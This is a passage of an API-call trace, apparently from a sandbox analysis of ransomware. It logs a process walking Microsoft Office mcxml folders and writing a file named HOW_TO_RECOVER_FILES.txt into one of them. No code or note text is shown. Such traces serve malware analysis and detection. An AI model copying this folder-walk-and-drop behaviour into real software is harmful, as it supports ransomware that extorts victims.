ftCreationTime.dwLowDateTime=0x99473dc, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x99473dc, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x99473dc, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0126.780] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x99473dc, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x99473dc, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x996d62b, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x15276, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.Culture.msi.16_proof.mcxml", cAlternateFileName="PROOFC~1.MCX")) returned 1 [0126.780] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0126.780] FindClose (in: hFindFile=0x1ec322f0 | out: hFindFile=0x1ec322f0) returned 1 [0126.780] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59df40) returned 1 [0126.780] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59df00) returned 1 [0126.780] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e000) returned 1 [0126.780] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\mcxml\\fr-fr", nBufferLength=0x105, lpBuffer=0x1f59daa0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\mcxml\\fr-fr", lpFilePart=0x0) returned 0x32 [0126.780] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\mcxml\\fr-fr\\*", lpFindFileData=0x1f59dd20 | out: lpFindFileData=0x1f59dd20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x99473dc, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x99473dc, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x99473dc, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec322f0 [0126.780] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x99473dc, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x99473dc, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x99473dc, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0126.781] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x99473dc, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x99473dc, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x996d62b, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x15276, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.Culture.msi.16_proof.mcxml", cAlternateFileName="PROOFC~1.MCX")) returned 1 [0126.781] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x99473dc, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x99473dc, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x996d62b, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x15276, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.Culture.msi.16_proof.mcxml", cAlternateFileName="PROOFC~1.MCX")) returned 0 [0126.781] FindClose (in: hFindFile=0x1ec322f0 | out: hFindFile=0x1ec322f0) returned 1 [0126.781] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59df40) returned 1 [0126.781] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59df00) returned 1 [0126.781] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\mcxml\\fr-fr\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f59da50, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\mcxml\\fr-fr\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x4b [0126.781] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59df70) returned 1 [0126.781] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\mcxml\\fr-fr\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files\\microsoft office\\root\\mcxml\\fr-fr\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x61c [0126.781] GetFileType (hFile=0x61c) returned 0x1 [0126.782] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dee0) returned 1 [0126.782] GetFileType (hFile=0x61c) returned 0x1 [0126.782] WriteFile (in: hFile=0x61c, lpBuffer=0x34380b0*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f59e038, lpOverlapped=0x0 | out: lpBuffer=0x34380b0*, lpNumberOfBytesWritten=0x1f59e038*=0x5d0, lpOverlapped=0x0) returned 1 [0126.783] CloseHandle (hObject=0x61c) returned 1 [0126.784] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e000) returned 1 [0126.784] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\mcxml\\x-none", nBufferLength=0x105, lpBuffer=0x1f59daa0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\mcxml\\x-none", lpFilePart=0x0) returned 0x33 [0126.784] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\mcxml\\x-none\\*", lpFindFileData=0x1f59dd20 | out: lpFindFileData=0x1f59dd20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1164cbcb, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x3b9607ff, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3b9607ff, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec322f0 [0127.287] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1164cbcb, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x3b9607ff, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3b9607ff, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0127.409] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1164cbcb, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1164cbcb, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x11699072, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x10257a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Access.x-none.msi.16_mondoww.mcxml", cAlternateFileName="ACCESS~1.MCX")) returned 1 [0127.409] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x11672e1a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x11672e1a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x11699072, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x93296, dwReserved0=0x0, dwReserved1=0x0, cFileName="DCF.x-none.msi.16_mondoww.mcxml", cAlternateFileName="DCFX-N~1.MCX")) returned 1 [0127.409] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x11672e1a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x11672e1a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x11699072, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x21d4ee, dwReserved0=0x0, dwReserved1=0x0, cFileName="Excel.x-none.msi.16_mondoww.mcxml", cAlternateFileName="EXCELX~1.MCX")) returned 1 [0127.409] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x11699072, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x11699072, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x11699072, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x36bf4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Groove.x-none.msi.16_mondoww.mcxml", cAlternateFileName="GROOVE~1.MCX")) returned 1 [0127.409] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x11699072, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x11699072, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x11699072, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1779d4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Lync.x-none.msi.16_mondoww.mcxml", cAlternateFileName="LYNCX-~1.MCX")) returned 1 [0127.409] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x11699072, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x11699072, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x11699072, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x109e6, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office.x-none.msi.16_authored.mcxml", cAlternateFileName="OFFICE~4.MCX")) returned 1 [0127.410] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x11699072, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x11699072, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x11699072, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2eb0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office.x-none.msi.16_Common.mcxml", cAlternateFileName="OFFICE~2.MCX")) returned 1 [0127.410] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x11699072, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x11699072, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x11699072, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4d407, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office.x-none.msi.16_licensing.mcxml", cAlternateFileName="OFFICE~3.MCX")) returned 1 [0127.410] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x11699072, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x11699072, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x128ed2a1, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x402c64, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office.x-none.msi.16_mondoww.mcxml", cAlternateFileName="OFFICE~1.MCX")) returned 1 [0127.410] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x116bf2cb, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x116bf2cb, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x116bf2cb, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office.x-none.msi.16_postcommon.mcxml", cAlternateFileName="OFC55B~1.MCX")) returned 1 [0127.410] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x116bf2cb, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x116bf2cb, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x116bf2cb, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x461, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office.x-none.msi.16_PostCommon.Office.x-none.mcxml", cAlternateFileName="OFD6FB~1.MCX")) returned 1 [0127.410] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x116bf2cb, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x116bf2cb, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x116bf2cb, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xa25e, dwReserved0=0x0, dwReserved1=0x0, cFileName="office32ww.msi.16_crossbitness.mcxml", cAlternateFileName="OF73AB~1.MCX")) returned 1 [0127.410] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x116bf2cb, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x116bf2cb, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x116e5533, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3d3b0a, dwReserved0=0x0, dwReserved1=0x0, cFileName="office32ww.msi.16_office32ww.mcxml", cAlternateFileName="OF4373~1.MCX")) returned 1 [0127.411] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x117f066f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x117f066f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x128c7033, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x67260, dwReserved0=0x0, dwReserved1=0x0, cFileName="OneNote.x-none.msi.16_mondoww.mcxml", cAlternateFileName="ONENOT~1.MCX")) returned 1 [0127.411] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x128a0e2b, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x128a0e2b, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x128a0e2b, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xd4, dwReserved0=0x0, dwReserved1=0x0, cFileName="OneNote.x-none.msi.16_OneNote.mcxml", cAlternateFileName="ONENOT~2.MCX")) returned 1 [0127.411] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x116e5533, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x116e5533, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x117f066f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x84a2, dwReserved0=0x0, dwReserved1=0x0, cFileName="OSM.x-none.msi.16_mondoww.mcxml", cAlternateFileName="OSMX-N~1.MCX")) returned 1 [0127.411] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x116e5533, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x116e5533, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x116e5533, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xcf38, dwReserved0=0x0, dwReserved1=0x0, cFileName="OSMUX.x-none.msi.16_mondoww.mcxml", cAlternateFileName="OSMUXX~1.MCX")) returned 1 [0127.411] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x116e5533, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x116e5533, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1181684e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x20337a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Outlook.x-none.msi.16_mondoww.mcxml", cAlternateFileName="OUTLOO~1.MCX")) returned 1 [0127.411] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x117f066f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x117f066f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x117f066f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x37e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Outlook.x-none.msi.16_PostCommon.Outlook.x-none.mcxml", cAlternateFileName="OUTLOO~2.MCX")) returned 1 [0127.411] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x117f066f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x117f066f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x128ed2a1, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2504a2, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPivot.x-none.msi.16_mondoww.mcxml", cAlternateFileName="POWERP~1.MCX")) returned 1 [0127.411] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x123438ef, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x123438ef, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x128a0e2b, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x12801a, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPoint.x-none.msi.16_mondoww.mcxml", cAlternateFileName="POWERP~2.MCX")) returned 1 [0127.412] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x3b9607ff, ftCreationTime.dwHighDateTime=0x1d47c34, ftLastAccessTime.dwLowDateTime=0x3b9607ff, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3c29db74, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0xca698, dwReserved0=0x0, dwReserved1=0x0, cFileName="Project.x-none.msi.16_mondoww.mcxml", cAlternateFileName="PROJEC~1.MCX")) returned 1 [0127.412] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x128a0e2b, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x128a0e2b, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x128ed2a1, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x268ee4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Publisher.x-none.msi.16_mondoww.mcxml", cAlternateFileName="PUBLIS~1.MCX")) returned 1 [0127.412] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x4c5b962, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x4c5b962, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x4c81c51, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x148572, dwReserved0=0x0, dwReserved1=0x0, cFileName="Visio.x-none.msi.16_mondoww.mcxml", cAlternateFileName="VISIOX~1.MCX")) returned 1 [0127.412] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x4c81c51, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x4c81c51, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x4c81c51, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x13a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Visio.x-none.msi.16_PostCommon.Visio.x-none.mcxml", cAlternateFileName="VISIOX~2.MCX")) returned 1 [0127.412] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x128ed2a1, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x128ed2a1, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x12985c4e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x17fba4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Word.x-none.msi.16_mondoww.mcxml", cAlternateFileName="WORDX-~1.MCX")) returned 1 [0127.412] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0127.412] FindClose (in: hFindFile=0x1ec322f0 | out: hFindFile=0x1ec322f0) returned 1 [0127.413] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59df40) returned 1 [0127.413] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59df00) returned 1 [0127.413] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e000) returned 1 [0127.413] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\mcxml\\x-none", nBufferLength=0x105, lpBuffer=0x1f59daa0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\mcxml\\x-none", lpFilePart=0x0) returned 0x33 [0127.578] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\mcxml\\x-none\\*", lpFindFileData=0x1f59dd20 | out: lpFindFileData=0x1f59dd20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1164cbcb, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x3b9607ff, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3b9607ff, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131dec0 [0128.187] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1164cbcb, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x3b9607ff, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3b9607ff, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0129.131] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1164cbcb, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1164cbcb, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x11699072, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x10257a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Access.x-none.msi.16_mondoww.mcxml", cAlternateFileName="ACCESS~1.MCX")) returned 1 [0129.159] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1f59dce0 | out: 